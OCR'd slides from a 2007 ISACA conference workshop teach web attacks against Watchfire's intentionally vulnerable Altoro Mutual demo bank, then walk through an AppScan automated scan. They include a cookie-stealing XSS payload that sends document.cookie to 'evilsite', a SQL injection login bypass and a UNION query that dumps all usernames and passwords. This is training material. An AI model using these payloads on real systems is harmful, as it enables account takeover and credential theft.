‘€ Altoro Mutual: Administration - Windows Internet Explorer

@"C |ﬁ, http: ffdemo. testfire, netfadminflogin, aspx

[ [ 9 %] [sose

{l-x? "1'3? | E.ﬂ.ltnru Mutual: Administration

.! i
@ -l T @ .g‘l- Toaols =

AltoroMutua

=
Sign In | Contact Us | Feedback | Search |

B ONLINE BANKING LOGIN

PERSONAL

| SMALL BUSINESS

| INSIDE ALTORO MUTUAL

BERSOMAL

Deposit Product
Checking

Loan Products
Cards

Investmeants & Insurance

Other Services

SMALL BUSINESS

# Deposit Products
Lending Services
Cards

[nsurance
Eetirement
Other Services

INSIDE ALTORO ML.ITUAL_
* About Us
Contact Us

Locations

Investar Relations

Press Room

Careers

Administration Login

Enter the code shown abowve:

Enter the administrative password:

Privacy Policy |

Security Statement |

& 2007 Altoro Mutual, Inc.

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating

vulnerabilities and website defects. This site is not & real banking site. Similarities, if any, to thiq

provided "as is" without warranty of any kind, either express or implied. Watchfire does not assu

of Use, please go to http://vwww.watchfire.com/statements/terms.aspx.

ITAction
Navigate to login.aspx page

Il We learn ...
Common naming practices

Copyright & 2007, Watchfire Corporation, All rights reserved.
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@ UltraEdit-32 - [C:\Documents and Settings\dannya\l ocal Settings\Temporary Internet Files\Content.[E5\Z73U1LKE\login[1]] g@|
ﬁFiIe Edit Search Project  Wiew Format  Column Macro  Advanced Window  Help = | o

1S H 5B 5 N8 sadw: MEIEIE4Ard4ad B0B O P
x login[1]

ﬁ,,,,,,,, T | e e e e G i B e e S e el EIIIZI,,,,,,,,ll;ll;lll,,,,,11[},,,,,,,12[3:‘:
70 </ul= -
71 </td>
7Z <td walign="top™ colspan="3i" class="bh">
]

T4
75 <hlrAdministration Login</hilx
76
77 < l—= Password: Altorolz23d —-->
75

72 <form name="asphnetForm™ mwethod="post™ action="login.aspx"™ id="aspnetForm">
g0 <input type="hidden"™ nsme=" VIEWITATE™ id="_VIEWSTATE" walue="/wEPDyUENTYSODYzNjKSNWRE" />

g1

g7 <img id="captcha" src="captcha.aspx" /x<bhr />

83 <p>

24 <strongrEnter the code shown above:</strongs<hr />

=13 <input name=" ctll: ctlO:Content:Main:CodeNuwberTextBox" type="text" id=" ctll ctll Content Main CodeNumberTextBox" £
=13 <atrongrEnter the administrative password:</strongr<bhr /> [
27 <input namwe=" ctll: ctli:Content:MNain:Passwvord” type="password" id=" ctld ctll Content Main Password"” fr<hr fr<hr S
28 <input types'submit" namwe=" ctll: ctll:Content:Main:SubmitButton"™ wvalue="3ubmit" id=" ctll0 ctll Content Main JubmitBu
g9 </p>

a0 <pr<3pan id="_ctlD__ctlD_CDntent_Hain_HessageLahel"><fspan><fp>

al

Sz <input type="hidden"” nsme=" EVENTVALIDATION" id=" EVENTVALIDATICN" walue="/wEUBLKw/PqIlCgKaqvEtBOETuPe3CgL73pWUBA==" /></
k]

94 <script> I

95 window.onload = docwnent.forms[1] .elewents[1] . focusi) ;
26 </scripty>
a7

= I1Action
o0 </trs View page source

101 </ tablex
1oz
1oz

104 </divs ” We Iearn

105
d' 'd:!!f rr l =" 1 d h: 99‘3- ; rr

log <diwv i ooter™ style="widtc Lt The PASSWORD ]

< ! @

For Help, press F1 Ln 1, Col, 1, CO D05 Mod; 2/15/2007 9:33:094M | File Size: 7850 NS




Solution — Forceful browsing

* Navigate to htip://demo.testfire.net

* Try http://demo.testfire.net/administration
— Fails

* Try http://demo.testfire.net/admin

— Success
— No default page

* Try http://demo.testfire.net/admin/logon.aspx
— Failure

* Try http://demo.testfire.net/admin/login.aspx
— Success

i
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Solution — Information Leakage

The administration section uses a single
password

Try to guess the password

— Password, password, password1, Password1
— Admin, admin, Admin1, admin1

— Altoro, Altoro, Altoro1, altoro1

View the page source

Search for comments
— Success
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Task 2: Steal the user cookie

« Step 1: Determine the best attack method
— How do | force the client to run my commands?
— What scripting language are almost all browsers able to execute?

« Step 2: Find the application vulnerability
— Where might | be able to include content within an application?
— What does the payload look like?
— How do | access the client cookie?

« Step 3: Exploit
— Discussion Topic
« How do | send this cookie from the victim to the attacker?
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€ Altoro Mutual: Search Results - Windows Internet Explorer [BE%)

— -
@\; N T |ﬁ, http: ffdemo. testfire, netfsearch. aspxrtxtSearch=5uper +Bowl [il;‘fj_ A | | Google [[2|=

W |E.ﬂ.ltnrn Mutual: Search Results [ | o v HE O e @ | G Tooks -

o]

Sign In | Contact Us | Feedback | Search !_SIJ_[JEF Bowl |[%
—

AltoroMutua

B ONLINE BANKING LOGIN PE MAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

BERSOMNAL
e Search Results

Checking
Loan Products
Cards
Investments & Insursnce Super Bowl
Other Services

Mo results were found for the query:

SMALL BUSINESS

#® Deposit Products

Lending Services
Cards

Insurance

Betirement

Other Services

INSIDE ALTORO ML.ITUAL_
® About Us
Contact Us

Locations

Investar Relations .

o Action
Enter search text -

Privacy Policy | Security Statement | © 2007 Altoro Mutual, Inc.

E The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating
i wulnerabilities and website defects. This site is not = real banking site. Similarities, if any, to thif ! ! We |ea rn .
! provided "as is" without warranty of any kind, either express or implied. Watchfire does not assy|

of Use, please go to http://vwww.watchfire.com/statements/terms.aspx. Content iS eChoed baCk to page

Copyright & 2007, Watchfire Corporation, All rights reserved.
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€ Altoro Mutual: Search Results - Windows Internet Explorer ==ks

— -
@k: ¥~ |g, http: ffdemo. testfire. netfsearch. aspxrtxtSearch=%:3Cscript ¥ 3Ealert 3 281 % 20% 3C % ZFscrph9a3E [il-‘fj_ K| |Google [[2|=

T Gl s | Tools

i

i':!{_' ﬁ'ﬁ? | E.ﬂ.ltnru Mutual: Search Resulks [ | '& '
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B
oy 1}

s

Sign In | Contact Us | Feedback | Search :_::5!:!'!pt}alel‘t{_l]{,."scri;i [%

AltoroMutua

B ONLINE BANKING LOGIN PE MAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

BERSOMAL

e Search Results

Checking

Loan Products

Cards

Investments & Insursnce
Other Services

Mo results were found for the query:

SMALL BUSINESS

#® Deposit Products
Lending Services

Cards [E 1
Insurance

Betirement

Other Services

INSIDE ALTORO ML.ITUAL_
® About Us
Contact Us

Locations

Investar Relations .

Bress Room IAction

Careers

Privacy Policy | Security Statement | © 2007 Altoro Mutual, Inc. Enter javascript Command B

E The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating
i wulnerabilities and website defects. This site is not = real banking site. Similarities, if any, to thif ! ! We |ea rn .
! provided "as is" without warranty of any kind, either express or implied. Watchfire does not assy|

of Use, please go to httpi//vwwwatchfire.com/statements/terms.asp:x. Output IS not enCOded

Copyright & 2007, Watchfire Corporation. All rights reserved.
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? Altoro Mutual: Search Results - Windows Internet Explorer

mEx
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@1-— ¥~ |ﬁ, http: jiderno. testfire. netfsearch. aspxrxt Search="%3Cscript % 3E alert %28 document. cookie s 29% 3C %2R scriph %:3E [il ¥ (| X | |Google

iik ﬁ'ﬁ? | g.ﬂ.ltnru Mutual: Search Resulks

= 8-
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B
oy 1}

s
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G El e | Tools

AltoroMutua

Sign In | Contact Us | Feedback | Search 1{SCFI-I'Jt}EI|EFtT:dDELIr‘I'IE=I'I| @

1§ 270

[

B ONLINE BANKING LOGIN

PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

BERSOMAL

Deposit Product
Checking

Loan Products
Cards

Investments & Insursnce

Other Services

SMALL BUSINESS

Deposit Products
Lending Services
Cards

Insurance
Betirement

Other Services

INSIDE ALTORO MUTUAL

About Us

Contact Us
Locations

Investar Relations .
Press Room
Careers

Search Results

Mo results were found for the query:

Privacy Policy | Security Statement

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to thig ! ! We |ea rn .
provided "as is" without warranty of any kind, either express or implied. Watchfire does not assu
of Use, please go to http://vwww.watchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation. All rights reserved.
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ter JS command with cookie -
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Solution — Cross site scripting (XSS)

Navigate to hiip://demo.testiire.net

Search for any query term
— Output is reflected to the page

Query: <script>alert(1)</script
— Output is not encoded

Query: <script>alert(document.cookie)</script>
— Cookie is available and can be stolen

How would | exploit this?

— Social engineering - send URL of search query to victim
— <script>document.write('<img src=http://evilsite/'"+document.cookie);</script>
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Task 3: Login without credentials

« Step 1: Find the login page
— Can you create an account?
— Can you determine a valid username?

« Step 2: Can you cause an error?

— What information do you learn when you cause an
error?

— What database is this using?
— What are techniques that you might use?
— What characters terminate a SQL statement?

« Step 3: Exploit
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& Altoro Mutual: Ontine |

Fp v o
DdanKIng L

- Windows Internet Ex

@1\;’. - |§, hittp: fdemo. testfire, netfbank login, aspx

T;? ﬁ'ﬂf | T’E Altoro Mutual: Online Banking Login

] (42 %] [coodle

P 7 | |
S| i= X
2=

@v

o W @& 0 Tooks -

AltoroMutua

Sign In | Contact Us | Feedback | Search |

(59

B ONLINE BANKING LOGIN

PE] NAL

| SMALL BUSINESS

BERSOMAL

Deposit Product
Checking

Loan Products

Cards

Investments & Insursnce

Other Services

SMALL BUSINESS

#® Deposit Products

Lending Services
Cards

Insurance

Eetirement

Other Services

INSIDE ALTORO MU'I_UF\L_
® About Us

Contact Us

Locations

Investar Relations

Press Boom
Carsers

Online Banking Login

Username: !dD.I'IElld

Password: [

L] Yau must enter a valid password
e

I1Action

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating

Privacy Policy | Security Statement | © 2007 Altoro Mutual, Inc.

Username, no password

vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to thi ! ! We |ea rn .

provided "as is" without warranty of any kind, either express or implied. Watchfire does not assu
of Use, please go to http://vwww.watchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation, All rights reserved.

Uses client-side ]S validation
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‘E Altoro Mutual: Online Banking Login - Windows Internet Explorer

A0

@1\\: |g, http: ffdemo. testfire, netfbank login, aspx

ig.? ﬁ'ﬁ'\? | E Alboro Mutual: Online Banking Login

] (42 [X] [ooge | 1R

B G -

AltoroMutua

|
=
Siqn%n | Contact Us | Feedback | Search |

B ONLINE BANKING LOGIN

PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

BERSOMAL

Deposit Product
Checking

Loan Products
Cards

Investments & Insursnce

Other Services

SMALL BUSINESS

Deposit Products
Lending Services
Cards

[nsurance
Eetirement
Cther Services

INSIDE ALTORO MUTLUIAL

About Us

Contact Us
Locations

Investar Relations
Press Room
Carsers

Online Banking Login

Login Failed - Please Try Again.

Username: |denald

Fassword: |

Privacy Policy | Security Statement

& 2007 Altoro Mutual, Inc.

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonsty
vulnerabilities and website defects. This site is not & real banking site. Similarities, if any,

Action -
Enter your name into the username
and a single tick into the password

of Use, please go to http://vwww.watchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation, All rights reserved.

! provided "as is" without warranty of any kind, either express or implied. Watchfire does n
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e o || SQLQUery = “SELECT Username FROM Users WHERE Username =

& Altoro Mutual: Server Error - Windows Internet Explorer E]

i =
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e "ﬁ’ Efé.ﬂ.ltnrn Mutual: Server Error | | A o« H s @ '_ Tools -

g T OmE
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Sign In | Contact Us | Feedback | Search

DEMO
SITE
ONLY

AltoroMutual

An Error Has Occurred

Su mmary:
Syntax error in string in query expression 'username = 'donald’ and p&snurd =i
Error Message:

emmpnbrmuDiote Glolh Ol b o e e R s T e L Ta B R MR e T T T AT F A denn) i adi e apened = U o
B e B o e LS. e L AT e R Ry ot

ot A B ey e B2 A

5 AR ARy iy v A e AR SIS i - e ST i A i DR
[or R B it B M| Py o L e SR R A L S oy [ e o il et - e R R 1 A e (R ey ST N Sl e 2 e
B Eo et P == ol = (o e

TR TG Tt T e

e A TE T e o i A i { @

AR g e BT § g v g S ol B o 1A

P, el 23 o g ] R el
T s e T § v o e e

{Ent i O

=R e AT T -, TR T o Pl |

e Vs s ® oentose B Dol =Rt e AATET TR S s e, sl =i obion 1 e T R e, e TR ¥ ek
IS whn nrmrnnrs o ts fe cpies VillRS 0 20 T o T Br e B i sl BT o sl v g b e Sheee Lt Ienlem i aT mEon st pilfe s B
o 2 R domdnc o =R glRa rebial it L B it b rale W actrs cooopes amaling-s 208 B e B Shic e Nhmes PR e L SRR red e e s v s e w0 o 2 Vi mendn o mE R R ka2 T ) a0l

b s o

Tope v S el SR ctn e smiling T TV S8 SR mm U A i Ao e maEseel e ne SR IraTE e B ed oy B B BemadRas EF
BT tr e &k il } 1) R 1 BTl e 18 o B ol I 117 s TR | 4 I s B B - W s A 5 P i G T W - B Lw (0% A o | BT e S
e e YR

mwinad 11 WWe can guess that ...

--------------- V" & strUsername & ™' AND Password = '" & strPassword & "

The Altoro M utI

vulnerabilities

provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation te your use of this website. For additional Terms
of Use, please go to httg:/fvww watchfire.comystatements/terms.aspo.
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[@ Altoro Mutual: Online Banking Login - Mozilla Firefox = ]
File Edit Miew History  Bookmarks Tools  Help o

@ - - @ ’lj_l" ||_| http: fflocalhost)alborofbankflogin. aspx |"| B‘| |_j|~'

[ windows [ | %55 Proxy - Sessions | | | Hackme Bark | | Altora Mutual 2‘ Adobe Conrect Enter...

Sign In | Contact Us | Feedback | Searchf [
| — e

AltoroMutual »

m ONLINE BANKING LOGIN PERSONAL | SMALL BUSTIMNESS | INSIDE ALTORD MUTUAL

PERSOMAL - = -
e Online Banking Login

Checking
Loan Products Login Failed - Invalid Username

Cards

Investrnents & Insurance

e e Uszernarne: dan'--

SMALL BUSIMNESS Pazsword:

Deposit Products

Lending Services
Cards

Insurance
Eetirerment
Other Services

INSIDE ALTORC MUTLAL

About Us ! !Action

_—dl | Enter your name, a tick, double hyphen and
e whatever password you want

Eri Poli | s ity Stat t | @ 2007 Al Mutual, I !!We Iearn o [
R Double hyphen is used for a comment, the result |-,

' The Altoro Mutual website is published by Watchfire, Inc, for the =g

E vulnerabilities and website defectz, This zite iz not a real banking iS that every thing after the dOUbIe hyphen is E

' provided "as is" without warranty of any kind, either express orim
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€ Altoro Mutual: On line Banking Login - Windows Internet Explorer

(ME)

—— T T I 'l I 1 I T e
@w - |E, http: /fdemo. testfire. net/bank login, aspx [1]5‘?” K| |Google [l 2 =)
T& ahe |ﬁ.ﬂ.ltnrn Mutual: Online Banking Login [ | @ = Eizw- '!L\: 'En" @ JT':":'ls T

| 5
Sign In | Contact Us | Feedback | Eearch: |

AltoroMutual »

‘ o "4 B I B
, !

B ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS | INSIDE ALTORD MUTUAL

BERSONAL

Deposit Product
Checking

Loan Products

Cards

Investments & Insurance
Other Services

Online Banking Login

Username: |E|_dm_||:|_'-— |

SMALL BUSINESS Fassword: ] |
* Deposit Products -
¢ lending Services %
% Cards
& [nsurance
ST
L ]

Betirement
Other Sarvices

INSIDE ALTORO MUTLIAL
® About Us
& Contact Us

Login Failed - Please Try Again.

I1Action

Enter admin’-- and any password you want
Il We learn ...

Valid SQL statement = login

|—||

SELECT Username FROM Users WHERE Username = ‘jsmith’ AND Password = ‘demo1234’
SELECT Username FROM Users WHERE Username = ‘admin’ OR 1=1 --" AND Password ='1’

! Copyright @ 2007, Watchfire Corporation, All rights reserved.



Solution — Profile the login page

Navigate to htip://demo.testiire.net/bank/login.aspx

Enter sample username without password
— Usage of client-side JavaScript

Enter sample username with password
— No credential enumeration

Enter sample username with single tick (') as password
— SQL injection vulnerability

— Verbose error messages

— Column names of username and password
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Solution — SQL Injection

Enter sample username with password of '--
— Double hyphen terminates a SQL statement

Enter probable username (admin) with special
characters appended '--

— Successful exploitation of SQL injection
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Task 4: Steal all the usernames and
passwords

« Step 1: Find a page that lists information
— What page lists information?
— Does the page accept user input in any way?
— Think about how this information is pulled from the database?

« Step 2: Find the vulnerability
— How do | manipulate the input to find a vulnerability?
— What steps should | try to “break the system”

« Step 3: Exploit

— What steps are required to make this happen?
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& Aitoro Mutual: Online Banking Home - Windows Internet Explorer =4

| A |g, http:ffderno, bestfire, netfbankimain, aspx [1!:#?-. X | |Google R

{-ltf' ﬁ'ﬁf |g.ﬂ.ltnrn Mutual: Online Banking Home [ | ‘ﬁ & Eizw- "!"s" "f’niﬁ @' *DJ' Tools -

Sign Off | Contact Us | Feedback | Search |

AltoroMutua

B MY ACCOUNT PE MAL | SMALL BUSINESS | INSIDE ALTORD MUTUAL

IWANTTO ...

B — Hello, Admin User

Wiew Recent Tra nsatt%E

Transfer Funds Welcome to Altoro Mutual Online.

Search Mews Articles

P S N R View Account Details: |_iFvI

ADMINISTRATION

* View Application Values
* Edit Users

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms

of Use, please go to http:/ /v watchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation, All rights reserved.

I1Action
Start in current session

Il We learn ...
The admin has no bank accounts




f@ ~Altoro Mutual: Recent Transactions - Windows Internet Explorer

=X

€

{? ﬁ'ﬁ? | E.ﬂ.ltnru Mutual; Recent Transactions

—

L2 |ﬁ, http: /fdemo, testfire, netfbank transaction, asp:x

[ [#2{[X] | qoooe

s
a ¥ e

.! p.v

EF @l g% | B Took -

AltoroMutua

Sign Off | Contact Us | Feedback | Search I_

B MY ACCOUNT

PERSONAL

| SMALL BUSINESS | INSIDE ALTORD MUTUAL

I WANTTO ...

View Account Summary

View Recent Transactions

Transfer Funds
Search Mews Articles

Customize Site Langusge

ADMINISTRATION

Wiew Application Values
Edit Users

Recent Transactions

aftar  [12/12/2010]

TransactionlD

1

Bafore -:

AccountId Description

Amount

Privacy Policy | Security Statement

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms

© 2007 Altoro Mutual, Inc.

of Use, please go to http:/ /v watchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation, All rights reserved.

I1Action

Il We learn ...
No user activity

Enter some date in the future




@ Altoro Mutual: Server Error - Windows Internet Explorer

@1',’ - |§, http:,l',l'u:lemu:u.testfire.net,l'l:uanlq'transaﬁipn._aspx !V 4?_ _X | Google

"L? R'ﬁ’ | @.ﬂ.ltnru Mutual: Server Error I i 1&*‘* -

AltoroMutual

An Error Has Occurred
Summary:

Syntax error in string in gquery expression '1=1 and t.trans_date >= ' and a.userid = 100416016".

3

Error Message:

System.Data.OleDb.OleDbException: Syntax error in string in guery expression '1=1 and t.trans_date >= ' and a.userid = 100416016", at =
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult{tagDBPARAMS dbParams, Objecth executeResult] at
System.Data.OleDb.OleDbCommand.ExecuteCommandText{Objecth executeResult] at System.Data.0leDb.OlaDbCommand.ExecuteCommand{CommandBehavior
behavior, Objecth executeResult] at System.Data.OleDb,.OleDbCommand.ExecuteReaderlnternal{CommandBehavior behavior, String method) at
System.Data.CleDb.OleDbCommand.ExecuteReader{CommandBehavior behavior) at

System.Data.OleDb.OleDbCommand.System.Data. IDbCommand.ExecuteReader{ CommandBehavior behavior) at System.Data.Commaon.DbDataAdapter.Filllnternal
(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int22 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Commaon.DbDatasdapter.Fill{ DataSet dataSet, Int22 startRecord, Int22 maxRecords, String srcTable, IDBCommand command, CommandBehavior
behavior) at System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, String srcTable) at Altoro.Transaction.BindGrid() in d:\downloads\AltoroMutual w4
\websita\bank\transaction.aspx.cs:line 70 at Altoro.Transaction.Page_Load(Object sender, Eventirgs e] in d:\downloads\AltoroMutual_v4
‘website\bank\transaction.aspx.csiline 32 at System.Web.Util.CalliHelper.EventArgFunctionC3
System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs el at Sy3 I IAction
System.Web.UI.Control.LoadRecursiva() at System.Web.UIL.Page.ProcessReguestMain({Booled ~ "

includeStagesafterfsyncPoint) Single tiCk in form field
Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc,

e S R R i s Il We learn ... -

The Altore Mutual website is publishad by Watchfire, Inc. for the sole purpose of demonstrating

; vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to thif Vulnerable to SQL injection

provided "as is" without warranty of any kind, either express or implied. Watchfire does not assu

of Use, please go to http://vwww.watchfire.com/statements/terms.aspx. COlumn na med userid

3




@ Altoro Mutual: Server Error - Windows Internet Explorer

@1— y |@, http: ffdemo. testfire. netfbank transaction, asp:x

!V *4| X | |Google | -

"1'-@ R'ﬁ’ I @.ﬂ.ltnru Mutual: Server Error I i

AltoroMutual

An Error Has Occurred

Summary:

Then ber of col 15 in the two selected tables or queries of a union gquery do not match.

Error Message:

System.Data.0leDb.OleDbException: The number of columns in the two selected tables or gueries of 3 union query do not match. at =
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult{tagDBPARAMS dbParams, Objecth executeResult] at
System.Data.OleDb.OleDbCommand.ExecuteCommandText{Objecth executeResult] at System.Data.0leDb.OlaDbCommand.ExecuteCommand{CommandBehavior
behavior, Objecth executeResult] at System.Data.OleDb.OleDbCommand.ExecuteReaderinternal{CommandBehavior behavior, String method) at
System.Data.CleDb.OleDbCommand.ExecuteReader{CommandBehavior behavior) at

System.Data.OleDb.OleDbCommand.System.Data. IDbCommand.ExecuteReader{ CommandBehavior behavior) at System.Data.Commaon.DbDataAdapter.Filllnternal
(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int22 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Commaon.DbDatasdapter.Fill{ DataSet dataSet, Int22 startRecord, Int22 maxRecords, String srcTable, IDBCommand command, CommandBehavior

behavior) at System.Data.Common.DbDataAdapter.Fill{DataSet datas
\websita\bank\transaction.aspx.cs:line 70 at Altoro.Transaction.Page_|
‘website\bank\transaction.aspx.cs:line 32 at System.Web.Util.CalliHel
System.Web.Util.CalliEventHandlerDelegateProxy.Callback([Object sen
System.Web.UI.Control.LoadRecursive(] at System.Web,UI.Page.Proc
includeStagesafterfsyncPoint)

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc,

The Altore Mutual website is published by Watchfire, Inc. for the sole purg
vulnerabilities and website defects. This site is not a real banking site. Si

provided "as is" without warranty of any kind, either express or implied. W

of Use, please go to http://vww.watchfire.com/statements/terms.aspx.

I1Action
Enter username and password
1/1/2010 union select 1 from users--

Il We learn ... 1
Requires four columns in query




& Altoro Mutual: Recent Transactions - Windows Internet Explorer
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AltoroMutual »

Sign Off | Contact Us | Feedback | Search I_

B MY ACCOUNT PERSONAL

| SMALL BUSINESS

| INSIDE ALTORD MUTUAL

IWANTTO ...

v \iew Account Summary Recent Transactions
® \iew Recent Transsctions
® Transfer Funds — = T 1 : %
Aftar 12/12/2010 union seled Before Submit
* Search News Articles | | | — ;]
& Customize Site Langusge s ¥ =
TransactionlD AccountId Crescription Amount |
ADMINISTRATION 1 i i 1
* View Application Values
* Edit Users t
Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.

The Altore Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is
provided "as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms

of Use, please go to http://vwwwatchfire.com/statements/terms.aspx.

Copyright & 2007, Watchfire Corporation, All rights reserved.

I1Action
Enter four columns in query

1/1/2010 union select 1,1,1,1 from users--

Il We learn ...
SQL injection succeeds




(’ Altoro Mutual: Recent Transactions - Windows Intemet Explorer

@:} - |ﬁ, http: /A altoromutual.comsbank Aransaction aspx j i‘?“ A | IL.= Search
Fle Edt Vew Favortes Tools Help
fi i . et B
W e & Altoro Mutual: Recent Transactions | | iﬁ? & E T& & Lﬁ’ﬁaﬂﬂ + (G} Toolg +
: =
Sign Off | Contact Us | Feedback | Sean:hl Gﬂl
@ MY ACCOUNT PERSONAL | SMALL BUSINESS INSIDE ALTORO MUTUAL
IWANTTO ... -
o e B e Recent Transactions
# View Recent Transactions
# Transfer Funds - :
: ; After |1;’1£2IZI].IZI union select | Before | Submit |
® Search News Articles : ; 3
# Customize Site Langusge ey
TransactionID Accountld Description Amount
1 username: admin password:admin -
2 usarnarme: tuser password tuser ]
100116013 username: sjioe password:frazier :
100116014 username: Jsmith password:Demol 234 :
100116015 usernarme: cclay password:Ali :
100116018 usernarme; sspeed passvord:Demoli3d J
Action k- 4

é
B

Enter valid SQL command. We already know 3 columns (userid,
username, password) and a table in the database!!!
1/1/2010 union select userid,null,'username: '+username+ '
password:'+password,null from users—

Il We learn ...

e rse: | Al The usernames and passwords
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Solution — Find the vulnerability

Use technique from the last task to login

Find a page that lists information from the DB
— http://demo.testfire.net/bank/transactions.aspx

Enter a single tick (') in the first form field
— Vulnerable to SQL injection
— Verbose error messages

— Column named userid (we already know about
username and password)

J iMCA 2007 Fall Conference
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Solution — Complex SQL Injection

Query: 1/1/2010 union select 1 from users--
— Error message about matching columns

— Learn that table users exists

Query: 1/1/2010 union select 1,1,1,1 from users--
— Successful in executing query

We already know 3 columns (userid, username,
password) and a table in the database

Query: 1/1/2010 union select userid,null,username+'
'+password,null from users--
— Successful exploitation
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Questions

1. Understand reconnaissance and profiling

2. Hands-on: Find vulnerabilities and exploit
a) Forceful browsing and information leakage

b) Cross site scripting (XSS)

c) SQL Injection

d) Advanced SQL Injection

3. Understand the difference between a
vulnerability and an exploit

J "ISACA 2007 Fall Conference
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Module 4:

Seaving IT Govemanie Professionals

Automated Techniques



Objective

1. Understand how automation can help
uncover vulnerabilities

2. Demonstration of automated vulnerability
assessment

3. Understand the limitations of vulnerability
assessment

J iSACA 2007 Fall Conference
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Welcome to AppScan

* Double click on Watchfire’s AppScan

* Choose Open
I

Welcome 22861 7.6 e

& Open... " Welcome to AppScan

reate New Scan...

'ﬂ] AppScan's Knowledge On-Demand
Recent Scans

"

1| DemoTestFire =

E} i’ Download Bxtensions
1 3

t&] AltoroMutual

] demo.testfirenet @ Quick Start Guide

¥ Display this screen when AppScan launches Close |

I i
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Pick a Template

* Choose Default under Predefined Templates

New Scan ]|
Recent Templates Predefined Templates

1) Default (4 pefauke )

1;] demo.testfire.net +] demo.testfire.ne

[% Browse... 1.3,] Hacme Bank

.‘EJ WebGoat w4

¥ Lsunch Scan Configuration \Wizard

_ tep | _ Gonedl |

I i
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Type of Scan

« Select the type of scan you wish to perform

« Select Web Application Scan
« Click Next X

Welcome to the Configuration Wizard

The Configuration *izard will help you configure a new
scan baszed on the zcan template; Default

Select the type of scan vou wish to perfarm;
& wieh Application Scan
" web Service Scan

¥ watcHfire
f!_it‘.lil?r -
Help | % Back | | Mext s I LCancel

I i
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What to scan

« Select the scanned application
* Type http://demo.testfire.net
° C“Ck Next > Scan Configuration Wizard X

Application Settings - Step 1/3 : ’(,:J
Indicate the URL where the scan should start i
Starting URL:

hittp:/ /demo testfire net j Show |

For example: http://demo testfire net/

] | To set additional servers and domains, or other advanced
= application settings, click Advanced.

Help <Back | Net> | Cancel

I i
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Login

« Choose Automatic login
* User name: jsmith Password: Demo1234
* Click Next -~

Application Login - Step 2,3 - f:,;
N Ote : yO u m ay Wa nt tO Select the login methad that wvouw wish AppScan b use whenesver login is required. %

Ch Oose th e re CO rd O pti O n {~ Recorded Login {recommended method)

Hewl | Lnadl, Edit.,

a nd fO' IOW the Ste pS [T Erompt the wzer each time lagin iz reguired

[Select thiz option for Two-Factor Authentication, One-Time
Pazswords, CAPTCHA. |

{+ Automatic Login

Idzer Mame: Iismith

Password: Iunuu

Confirm Pazsward: |u" cane
i~ Mo Login

Help | ¢ Back | Hewt > I LCancel

J iMCA 2007 Fall Conference
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What to test

x|
Select the test policy |

* C“Ck On Load % Pre-Defined Test Policy Files
« Select ‘Application-Only’ Dofaul i1

Select atest policy file to load. Loading a new test palicy wil
dizzard the current test policy.

| Drefault
o CI |Ck O K Infraztructure-0rly
[nvasive

i CI |Ck N eXt E\-?;IFIIDISE;?VEES

] ] . TheYital Few
For this exercise we will test
j u St fOr a p pl |Cat| on Ievel Q tTEP;itsS policy includss all tests except invasive and port listener = |
vulnerabilities T

Created: Monday, 13 Movember, 2008, 15:46:20
Modified: Monday, 13 Movember, 2006, 15:456:20

Help | Ok Cancel |

J iMCA 2007 Fall Conference
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Start the scan

« Select ‘Start a full automatic scan’
AppScan will perform x|

Completing the Configuration Wizard

Explore and execute
TeStS Enufhavet_sucE;sstélly completed the Scan

Haow do pou want ko start?
% Start a full automatic scan
7 Start with automatic Explare anly

" Start with Manual Explare

@ WﬂtCHﬁRe | will start the scan later

AppScan®

Help | < Back | Finizh I LCancel

I i
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View the results

i Untitled - Watchfire AppScan

File Edit Wiew 3Scan Tools Help Plugins

=101 x|

P HS00HW K>, B4 &

M_I,I Application [40]
=4 hittp: //altora. testfire.net/ (40

Wiew

T
I

comment. azps [2]
default. asps
disclaimer. htm
feedback.aspx [1]
search.aspx [1]
subscribe. swi

EEm——

Remediation Tasks survey_questions. asps

